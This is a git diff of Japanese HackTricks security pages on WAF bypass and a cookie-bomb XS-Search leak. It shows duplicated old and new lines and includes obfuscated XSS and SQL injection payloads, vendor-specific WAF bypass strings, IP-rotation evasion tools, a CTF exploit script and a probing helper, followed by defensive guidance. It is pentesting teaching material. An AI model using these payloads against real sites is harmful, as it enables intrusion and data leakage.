- Burp Repeaterで「グループを並行して送信」(シングルパケットスタイル)を使用して、同じフロントエンドパスを通じて2つのリクエスト(`.js`その後HTML)をレースさせる。
|
||||
- コンテンツ検査を回避するために、`.js` パスへの GET で信頼できないヘッダ(例:`User-Agent`)にペイロードを送信し、直ちにメインの HTML をリクエストしてキャッシュされたバリアントに影響を与える。
|
||||
- 新しい/クリーンな IP を使用する。IP がフラグ付けされると、ルーティングの変更によりこの手法が信頼できなくなる場合がある。
|
||||
- Burp Repeater では、"Send group in parallel"(シングルパケットスタイル)を使って、同じフロントエンド経路に対して `.js` と HTML の 2 つのリクエストをレースさせる。
|
||||
|
||||
これはヘッダー反射キャッシュポイズニングとよく組み合わさります。参照:
|
||||
This pairs well with header-reflection cache poisoning. See:
|
||||
|
||||
- {{#ref}}
|
||||
{{#ref}}
|
||||
cache-deception/README.md
|
||||
{{#endref}}
|
||||
|
||||
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
|
||||
### 難読化 <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
### Obfuscation <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
```bash
|
||||
# IIS, ASP Clasic
|
||||
<%s%cr%u0131pt> == <script>
|
||||
@ -150,7 +153,7 @@ cache-deception/README.md
|
||||
```
|
||||
### Unicode 互換性 <a href="#unicode-compatability" id="unicode-compatability"></a>
|
||||
|
||||
Unicode 正規化の実装によって(詳細は [こちら](https://jlajara.gitlab.io/Bypass_WAF_Unicode))、Unicode 互換性を共有する文字は WAF をバイパスし、意図したペイロードとして実行できる場合があります。互換性のある文字は [こちら](https://www.compart.com/en/unicode) で見つけることができます。
|
||||
Unicode 正規化の実装によっては (more info [here](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), Unicode 互換性を共有する文字が WAF をバイパスし、意図した payload として実行される可能性があります。互換性のある文字は [here](https://www.compart.com/en/unicode) で見つけることができます。
|
||||
|
||||
#### 例 <a href="#example" id="example"></a>
|
||||
```bash
|
||||
@ -158,44 +161,45 @@ Unicode 正規化の実装によって(詳細は [こちら](https://jlajara.g
|
||||
# to the XSS payload on the right
|
||||
<img src⁼p onerror⁼'prompt⁽1⁾'﹥ --> <img src=p onerror='prompt(1)'>
|
||||
```
|
||||
### コンテキストWAFのバイパスとエンコーディング <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
### コンテキスト型 WAF をエンコーディングで回避 <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
[**このブログ記事**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)で述べられているように、ユーザー入力のコンテキストを維持できるWAFをバイパスするために、WAFの技術を悪用してユーザーの入力を実際に正規化することができます。
|
||||
前述の [**this blog post**](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization) によれば、ユーザ入力のコンテキストを保持するタイプの WAF を回避するために、WAF がユーザ入力を正規化する挙動を悪用することができます。
|
||||
|
||||
例えば、記事では**Akamaiがユーザー入力を10回デコードした**と述べられています。したがって、`<input/%2525252525252525253e/onfocus`のようなものは、Akamaiによって`<input/>/onfocus`として認識され、**タグが閉じているため問題ないと考えられるかもしれません**。しかし、アプリケーションが入力を10回URLデコードしない限り、被害者は`<input/%25252525252525253e/onfocus`のようなものを見ることになり、**XSS攻撃にはまだ有効です**。
|
||||
例えば、記事では **Akamai がユーザ入力を10回 URL decoded していた** と記載されています。したがって `<input/%2525252525252525253e/onfocus` のような文字列は Akamai では `<input/>/onfocus` と見なされ(タグが閉じられているため問題ないと判断される可能性があります)、一方でアプリケーション側が10回 URL decode を行わない場合、被害者のブラウザには `<input/%25252525252525253e/onfocus` のように表示され、これは **依然として XSS 攻撃に有効** です。
|
||||
|
||||
したがって、これは**WAFがデコードして解釈するエンコードされたコンポーネントにペイロードを隠すことを可能にします**が、被害者はそれを認識しません。
|
||||
このため、WAF はデコードして解釈するが被害者は解釈しないような、「エンコードされたコンポーネントにペイロードを隠す」ことが可能になります。
|
||||
|
||||
さらに、これはURLエンコードされたペイロードだけでなく、unicode、hex、octalなどの他のエンコーディングでも行うことができます。
|
||||
また、これは URL エンコードだけでなく unicode、hex、octal といった他のエンコーディングでも行えます。
|
||||
|
||||
記事では、以下の最終的なバイパスが提案されています:
|
||||
記事では最終的なバイパス例として以下が提示されています:
|
||||
|
||||
- Akamai:`akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>`
|
||||
- Imperva:`imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">`
|
||||
- AWS/Cloudfront:`docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>`
|
||||
- Cloudflare:`cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">`
|
||||
|
||||
また、**一部のWAFがユーザー入力のコンテキストをどのように理解するかによって**、それを悪用することが可能であることも述べられています。ブログで提案された例は、Akamaiが`/*`と`*/`の間に何でも入れることを許可していることです(これは一般的にコメントとして使用されるため、潜在的に)。したがって、`/*'or sleep(5)-- -*/`のようなSQLインジェクションはキャッチされず、`/*`がインジェクションの開始文字列であり、`*/`がコメントされているため有効です。
|
||||
また、WAF がユーザ入力の「コンテキスト」をどのように解釈するかによっては、それを悪用できる場合があると述べられています。ブログの例では Akamai が `/*` と `*/` の間に何でも置ける(おそらくコメントとして扱うため一般的にそうしている)ため、`/*'or sleep(5)-- -*/` のような SQLinjection が検知されずに有効になってしまう、というものがあります(`/*` がインジェクションの開始文字列で、`*/` がコメント扱いになるため)。
|
||||
|
||||
このようなコンテキストの問題は、WAFによって悪用されることが期待される脆弱性以外の**他の脆弱性を悪用するためにも使用できます**(例えば、これを使用してXSSを悪用することも可能です)。
|
||||
この種のコンテキストに関する問題は、WAF が想定しているものとは別の脆弱性(例: XSS)を悪用するためにも使えます。
|
||||
|
||||
### H2C Smuggling <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
### H2Cスムーギング <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
{{#ref}}
|
||||
h2c-smuggling.md
|
||||
{{#endref}}
|
||||
|
||||
### IPローテーション <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
### IP Rotation <a href="#ip-rotation" id="ip-rotation"></a>
|
||||
|
||||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): ffufと共に使用するためのAPIゲートウェイURLを生成します
|
||||
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): fireproxに似ています
|
||||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): APIゲートウェイIPを使用するBurp Suiteプラグイン
|
||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): 入力ファイルサイズと分割係数に基づいて動的に決定された数のコンテナインスタンスがアクティブ化され、入力は並列実行のためにチャンクに分割されます。例えば、100インスタンスが10,000行の入力ファイルから100行の分割係数で100チャンクを処理します。
|
||||
- [https://github.com/ustayready/fireprox](https://github.com/ustayready/fireprox): API gateway URL を生成して ffuf と併用するためのツール
|
||||
- [https://github.com/rootcathacking/catspin](https://github.com/rootcathacking/catspin): fireprox と類似
|
||||
- [https://github.com/PortSwigger/ip-rotate](https://github.com/PortSwigger/ip-rotate): API gateway IP を利用する Burp Suite プラグイン
|
||||
- [https://github.com/fyoorer/ShadowClone](https://github.com/fyoorer/ShadowClone): 入力ファイルのサイズと分割係数に応じて動的にコンテナインスタンス数を起動し、入力をチャンクに分割して並列実行する(例: 10,000 行の入力ファイルを分割係数 100 行で分割し、100 チャンクを 100 インスタンスで処理する)
|
||||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||||
|
||||
### 正規表現バイパス
|
||||
### Regex Bypasses
|
||||
|
||||
ファイアウォールの正規表現フィルターをバイパスするために、さまざまな技術が使用できます。例としては、大文字と小文字の交互、改行の追加、ペイロードのエンコーディングなどがあります。さまざまなバイパスのリソースは、[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads)や[OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html)で見つけることができます。以下の例は、[この記事](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2)から引用されています。
|
||||
regex フィルタを回避するために様々な手法が使えます。例としては大文字小文字を交互にする、改行を挿入する、ペイロードをエンコードする、などがあります。各種バイパスのリソースは [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/README.md#filter-bypass-and-exotic-payloads) や [OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html) にあります。以下の例は [this article](https://medium.com/@allypetitt/5-ways-i-bypassed-your-web-application-firewall-waf-43852a43a1c2) から引用しています。
|
||||
```bash
|
||||
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
|
||||
<<script>alert(XSS)</script> #prepending an additional "<"
|
||||
@ -218,9 +222,9 @@ data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascri
|
||||
```
|
||||
## ツール
|
||||
|
||||
- [**nowafpls**](https://github.com/assetnote/nowafpls): WAFを長さでバイパスするためにリクエストにジャンクデータを追加するBurpプラグイン
|
||||
- [**nowafpls**](https://github.com/assetnote/nowafpls): リクエストに不要なデータを追加して長さでWAFsをバイパスするためのBurpプラグイン
|
||||
|
||||
## 参考文献
|
||||
## 参考資料
|
||||
|
||||
- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||||
|
||||
@ -2,7 +2,24 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
以下の**スクリプト**は[**こちら**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)から取得したもので、ユーザーが**任意の量のクッキーを挿入**できる機能を悪用し、真のレスポンスが偽のものよりも大きくなることを知ってファイルをスクリプトとして読み込むものです。成功した場合、レスポンスはリダイレクトで、結果として得られるURLは長くなり、**サーバーが処理できないほど大きくなり、エラーのHTTPステータスコードを返します**。検索が失敗した場合、URLが短いため、何も起こりません。
|
||||
This technique combines:
|
||||
- Cookie bombing: 標的オリジンに対して被害者のブラウザに多数/大容量のCookieを詰め込み、以降のリクエストがサーバーやリクエストの制限(リクエストヘッダサイズ、リダイレクト時のURL長など)に達するようにする。
|
||||
- Error-event oracle: <script>(または他のサブリソース)でクロスオリジンのエンドポイントをプローブし、onload vs onerror で状態を判別する。
|
||||
|
||||
High level idea
|
||||
- テストしたい2つの状態(例: 検索 “hit” vs “miss”)で挙動が異なるターゲットエンドポイントを見つける。
|
||||
- “hit” パスが大きなリダイレクトチェーンや長いURLを引き起こすようにし、”miss” パスは短いままにしておく。多数のCookieでリクエストヘッダを膨らませ、”hit” パスだけがサーバーの制限を超えてHTTPエラー(例: 431/414/400)を発生させるようにする。そのエラーにより onerror が発火し、XS-Search のオラクルになる。
|
||||
|
||||
When does this work
|
||||
- 被害者のブラウザに対してターゲットへCookieを送らせることができる(例: Cookieが SameSite=None になっている、または popup の window.open を介した first-party コンテキストで設定できる)。
|
||||
- 任意のCookieを設定できるようなアプリ機能を悪用できる(例: 制御可能な入力名/値を Set-Cookie に変換する “save preference” エンドポイント)、または認証後のリダイレクトで攻撃者制御のデータをURLに組み込める。
|
||||
- サーバーが2つの状態で異なる反応を示し、ヘッダ/URLを膨らませることで一方の状態が制限を超えてエラー応答を返し、onerror をトリガーする。
|
||||
|
||||
Note on server errors used as the oracle
|
||||
- Cookieがリクエストヘッダを膨らませた場合、一般的に 431 Request Header Fields Too Large が返されることが多い。長いリクエスト先では 414 URI Too Long やサーバ固有の 400 が返されることがある。これらはいずれもサブリソースの読み込み失敗になり onerror が発火する。 [MDN documents 431 and typical causes like excessive cookies.]()
|
||||
|
||||
Practical example (angstromCTF 2022)
|
||||
The following script (from a public writeup) abuses a feature that lets the attacker insert arbitrary cookies, then loads a cross-origin search endpoint as a script. When the query is correct, the server performs a redirect that, together with the cookie bloat, exceeds server limits and returns an error status, so script.onerror fires; otherwise nothing happens.
|
||||
```html
|
||||
<>'";
|
||||
<form action="https://sustenance.web.actf.co/s" method="POST">
|
||||
@ -57,4 +74,53 @@ break
|
||||
}
|
||||
</script>
|
||||
```
|
||||
なぜポップアップ(window.open)か?
|
||||
- 近年のブラウザは third-party cookies をますますブロックします。ターゲットに top-level window を開くことで cookies が first‑party になり、ターゲットからの Set-Cookie レスポンスが維持されます。これにより、third‑party cookie restrictions があっても cookie-bomb ステップが可能になります。
|
||||
|
||||
汎用の probing ヘルパー
|
||||
既にターゲットオリジン(first-party)に多数の cookies を設定する方法を持っている場合、成功/失敗で異なるネットワーク結果(status/MIME/redirect)を生じる任意のエンドポイントに対して、この最小限の oracle を再利用できます:
|
||||
```js
|
||||
function probeError(url) {
|
||||
return new Promise((resolve) => {
|
||||
const s = document.createElement('script');
|
||||
s.src = url;
|
||||
s.onload = () => resolve(false); // loaded successfully
|
||||
s.onerror = () => resolve(true); // failed (e.g., 4xx/5xx, wrong MIME, blocked)
|
||||
document.head.appendChild(s);
|
||||
});
|
||||
}
|
||||
```
|
||||
オラクル構築のヒント
|
||||
- “ポジティブ”状態を重くする: 判定が真のときのみ追加のredirectをチェーンする、またはリダイレクト先のURLを制限のないユーザー入力を反映するようにして、推測したプレフィックスに応じて増加させる。
|
||||
- ヘッダを膨らませる: “heavy”パスで一貫したエラーが観測されるまでcookie bombingを繰り返す。サーバは一般的にヘッダサイズに上限を設けており、多数のcookieがあるとより早く失敗する。
|
||||
- 安定化: 複数の並列cookie set operationsを発生させ、タイミングやキャッシュのノイズを平均化するために繰り返しプローブする。
|
||||
|
||||
関連する XS-Search トリック
|
||||
- URL長ベースのオラクル(cookie不要)は、非常に長いリクエストターゲットを強制できる場合に組み合わせたり代わりに使ったりできる:
|
||||
|
||||
{{#ref}}
|
||||
url-max-length-client-side.md
|
||||
{{#endref}}
|
||||
|
||||
防御とハードニング
|
||||
- 成功/失敗レスポンスを区別できなくする:
|
||||
- 状態間で条件付きのリダイレクトやレスポンスサイズの大きな差を避ける。状態に関係なく同じステータス、同じ Content-Type、類似した本文長を返すこと。
|
||||
- クロスサイトのサブリソースプローブをブロックする:
|
||||
- SameSite cookies: 機密性の高いcookieは SameSite=Lax または Strict に設定し、<script src> のようなサブリソースリクエストで送信されないようにする。認証トークンには可能なら Strict を推奨。
|
||||
- Fetch Metadata: Resource Isolation Policy を適用してクロスサイトのサブリソース読み込みを拒否する(例: Sec-Fetch-Site != same-origin/same-site の場合)。
|
||||
- Cross-Origin-Resource-Policy (CORP): クロスオリジンのサブリソースとして埋め込む意図のないエンドポイントには CORP: same-origin(少なくとも same-site)を設定する。
|
||||
- X-Content-Type-Options: JSON/HTMLエンドポイントでは nosniff を設定し正しい Content-Type を返すことで、スクリプトとしてロードされる挙動の問題を回避する。
|
||||
- ヘッダ/URLの増幅を抑える:
|
||||
- 設定されるcookieの数/サイズを制限する。任意のフォームフィールドを Set-Cookie に変換する機能はサニタイズする。
|
||||
- リダイレクトで反映されるデータを正規化または切り詰める。攻撃者制御の長い文字列を Location URLs に埋め込まない。
|
||||
- サーバの制限を一貫させ、失敗時は均一に扱う(ある分岐だけ特別なエラーページを返すのを避ける)。
|
||||
|
||||
注記
|
||||
- このクラスの攻撃は広く “Error Events” XS-Leaks として議論されている。cookie-bomb ステップはサーバ制限を超えるのを一つの分岐だけに起こさせる便利な方法であり、信頼できるブール型オラクルを生成するに過ぎない。
|
||||
|
||||
|
||||
|
||||
## References
|
||||
- XS-Leaks: Error Events (onerror/onload as an oracle): https://xsleaks.dev/docs/attacks/error-events/
|
||||
- MDN: 431 Request Header Fields Too Large (common with many cookies): https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user